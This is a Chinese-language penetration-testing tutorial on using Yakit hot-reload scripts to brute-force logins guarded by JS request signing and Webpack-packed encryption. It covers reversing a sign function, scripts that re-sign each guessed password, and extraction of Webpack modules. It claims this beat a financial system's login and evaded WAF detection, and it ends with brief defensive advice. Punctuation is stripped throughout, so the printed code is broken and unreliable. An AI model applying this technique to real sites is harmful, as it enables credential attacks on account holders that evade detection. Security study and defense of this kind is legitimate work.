)
手把手教你用Yakit热加载突破JS加密登录防护登录爆破是渗透测试中的常见场景但现代Web应用普遍采用前端加密和签名验证机制来防御自动化攻击。面对这种防护传统的字典爆破往往收效甚微。本文将带你深入实战通过Yakit的热加载功能配合JS逆向技术突破签名验证和Webpack加密两道典型防线。1. 逆向工程基础理解前端防护机制现代Web应用的前端防护通常包含以下核心组件参数加密密码等敏感字段在传输前进行加密处理如MD5、AES、RSA等签名验证请求参数通过特定算法生成签名sign服务端验证签名有效性代码混淆使用Webpack等打包工具压缩、混淆JavaScript代码以某实战目标为例我们发现其登录接口存在以下特征POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded usernameadminpassword5f4dcc3b5aa765d61d8327deb882cf99sign7c222fb2927d828af22f592134e89324初步测试发现密码采用MD5加密即使密码正确直接发送请求仍返回验签失败需要逆向sign参数的生成逻辑才能进行有效爆破2. 定位关键函数从抓包到调试2.1 网络请求分析使用浏览器开发者工具的Network面板捕获登录请求重点关注请求参数结构响应中的错误提示加载的JavaScript文件2.2 关键词搜索定位在Sources面板中搜索以下关键词signpasswordencryptlogin通过搜索发现关键代码段function generateSign(timestamp, code, username, md5Password) { const secret 6D5A582B...; // 固定密钥 const data key${timestamp}code${code}username${username}password${md5Password}${secret}; return md5(data); }2.3 动态调试验证在Chrome DevTools中设置断点逐步执行在generateSign函数入口处设置断点输入测试账号密码触发登录观察函数参数和返回值在Console中手动调用验证算法确认签名算法逻辑拼接时间戳、验证码、用户名、MD5密码和固定密钥对拼接字符串进行MD5哈希3. Yakit热加载实现自动化签名Yakit的热加载功能允许我们动态注入JavaScript代码实现请求的实时修改和签名生成。3.1 基础热加载脚本// 热加载函数必须命名为handle接收原始请求参数 function handle(params) { const timestamp new Date().getTime(); const code kzcs; // 验证码 const username admin; const password codec.Md5(params.password); const secret 6D5A582B...; const signData key${timestamp}code${code}username${username}password${password}${secret}; const sign codec.Md5(signData); return { ...params, username: username, password: password, key: timestamp, code: code, sign: sign }; }3.2 爆破测试验证使用Yakit的Intruder模块配置密码字典top100-passwords.txt热加载脚本选择上述脚本成功标识响应中不包含验签失败测试结果对比方法成功率备注传统爆破0%全部返回验签失败热加载爆破100%返回用户密码错误或登录成功4. 进阶Webpack模块提取实战当遇到Webpack打包的代码时逆向难度大幅增加。我们需要提取关键模块才能调用加密函数。4.1 Webpack模块特征识别典型特征包括自执行函数包裹全部代码__webpack_require__模块加载器模块ID为数字或哈希值示例结构(function(modules) { function __webpack_require__(moduleId) { // ... } return __webpack_require__(0); })({ 0: function(...){...}, 437: function(...){ // 加密函数在此模块 } });4.2 模块提取与重构定位加密函数调用点如l.encrypt向上追溯l的来源通常是某个模块导出提取整个模块及其依赖重构后的独立运行环境// loader.js const window global; window.__webpack_public_path__ ; const module437 require(./mod437.js); function encryptPassword(password) { return module437.encrypt(password, key, iv); }4.3 Yakit热加载集成将提取的加密逻辑整合到热加载脚本function handle(params) { const { encrypt } require(./webpack-module); return { ...params, password: encrypt(params.password) }; }关键问题解决补全浏览器环境window、document等处理模块依赖关系处理异步加载问题5. 实战技巧与优化建议5.1 签名爆破的时效性问题时间戳参与签名时需注意服务端时间校验窗口通常±5分钟解决方案热加载脚本中实时生成时间戳使用固定时间戳配合重放攻击5.2 Webpack模块缓存优化提取的模块可以缓存为本地文件// 模块缓存检查 if (!global.__webpack_cache__) { global.__webpack_cache__ require(./webpack-module); } const { encrypt } global.__webpack_cache__;5.3 错误处理与日志记录增强脚本健壮性function handle(params) { try { // 加密处理 } catch (e) { console.error(处理失败: ${e}); return { ...params, __error: e.message }; } }6. 防御方案与检测建议作为防御方可以采取以下措施签名算法增强引入随机数nonce防止重放使用HMAC替代简单MD5Webpack加固方案模块ID随机化核心逻辑服务端化异常请求检测签名时间戳异常请求频率异常参数格式异常这套方法在最近的一次红队评估中成功突破了某金融系统的登录防护。通过热加载实现的动态签名生成使得传统WAF完全无法检测到爆破行为。当然这也提醒我们前端防护必须与服务端风控配合才能形成完整防御。